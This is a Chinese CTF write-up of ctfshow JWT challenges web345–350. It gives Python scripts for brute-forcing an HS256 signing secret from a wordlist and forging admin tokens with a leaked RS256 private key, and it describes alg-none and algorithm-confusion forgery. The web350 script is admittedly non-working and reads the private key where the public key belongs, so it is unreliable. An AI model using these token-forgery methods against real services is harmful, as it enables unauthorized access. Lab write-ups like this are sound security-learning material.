ctfshow——JWT

发布于:2024-05-03 ⋅ 阅读:(26) ⋅ 点赞:(0)

web 345

抓个包,可以看到cookie部分使用JWT(Json Web Token)。
在这里插入图片描述

JWT实际上是一个字符串,由三部分构成:HeaderPaylaodSignature,各部分之间分别用Base64编码以后用.进行拼接。

  • Header部分主要承载两部分的信息:声明类型(JWT类型);声明加密算法,一般是RS256(非对称加密)和HS256(对称加密);
  • Payload部分主要包含服务器所需的信息,如
    • iss (issuer):签发人
    • exp (expiration time):过期时间
    • sub (subject):主题
    • aud (audience):受众
    • nbf (Not Before):生效时间
    • iat (Issued At):签发时间
    • jti (JWT ID):编号
  • Signature部分是一个签名信息,需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密。base64UrlEncode就是base64编码。
    // javascript
    var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
    var signature = HMACSHA256(encodedString, 'secret');
    

先用base64将JWT进行解密,修改user为admin,再用base64进行加密。再访问https://2be66481-e498-479d-8e2f-5f899b4f227a.challenge.ctf.show/admin/
在这里插入图片描述

web 346——算法改为None

在这里插入图片描述
这里使用了HS256加密方式,方法:alg字段改为none,sub改为admin,对每一段分别用base64进行加密,然后用.拼接起来,注意最后一个点不能少

在这里插入图片描述

web 347-348——爆破密匙

都可以用jwt-cracker进行爆破,获取密匙。或者用脚本跑。
在这里插入图片描述

import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzgyNDA3NiwiZXhwIjoxNjY3ODMxMjc2LCJuYmYiOjE2Njc4MjQwNzYsInN1YiI6InVzZXIiLCJqdGkiOiJjMDlkNDc4M2U0NzhkZWI5ZDAyOTI2ZGI5OThhNTJkYiJ9.qGhObQujOnXKBkb8IM2_uLroZZRgY6Voty_-vPQUqUM" # 题目中的 token
password_file = "/Users/meng/password.txt" # 密码文件

with open(password_file,'rb') as file:
    for line in file:
        line = line.strip() # 去除每行后面的换行
        try:
            jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
            print('key: ', line.decode('ascii'))
            break
        except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
                , jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
            print("key: ", line.decode('ascii'))
            break
        except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
            print("Failed: ", line.decode('ascii'))
            continue
    else:
        print("Not Found.")

web 349——非对称加密算法RS256私钥泄漏

根据app.js提示,大致意思就是访问https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d,服务器会使用RS256算法私钥加密一段字符串作为cookie(私钥用来签名),然后发给客户端。客户端拿着服务端给的cookie再次访问服务端,服务端会使用RS256公钥进行解密(公钥验签
在这里插入图片描述
先访问/private.key,下载私钥,然后使用下面的脚本生成一个JWT。

import jwt
private = open('E://private.key', 'r').read()
header = {
    "alg": "RS256",
    "typ": "JWT"
}
payload={
    "user":"admin",
    "iat": 1714555712
}
token = jwt.encode(
    payload=payload,
    key=private, # 密钥
    algorithm="RS256", # 加密方式
    headers=header
)
print(token)

注意:payload的相关参数,可以先解密服务器发的JWT,再自行补充。

再使用POST方法请求https://ctf.show/files/c75978a9951e4ba150ed34b0ea8f9d3d
在这里插入图片描述

web 350——泄漏公钥、非对称密码算法改为对称密码算法

如果公钥泄露,服务端不对加密算法进行验证的话,通过公钥和改算法类型,也可以伪造JWT。

import jwt
private = open('E://private.key', 'r').read()
header = {
    "alg": "HS256",
    "typ": "JWT"
}
payload={
    "user":"admin",
    "iat": 1714555712
}
token = jwt.encode(
    payload=payload,
    key=private, # 密钥
    algorithm="HS256", # 加密方式
    headers=header
)
print(token)

python生成的JWT,用不了,但是思路就是这样。


网站公告

今日签到

点亮在社区的每一天
去签到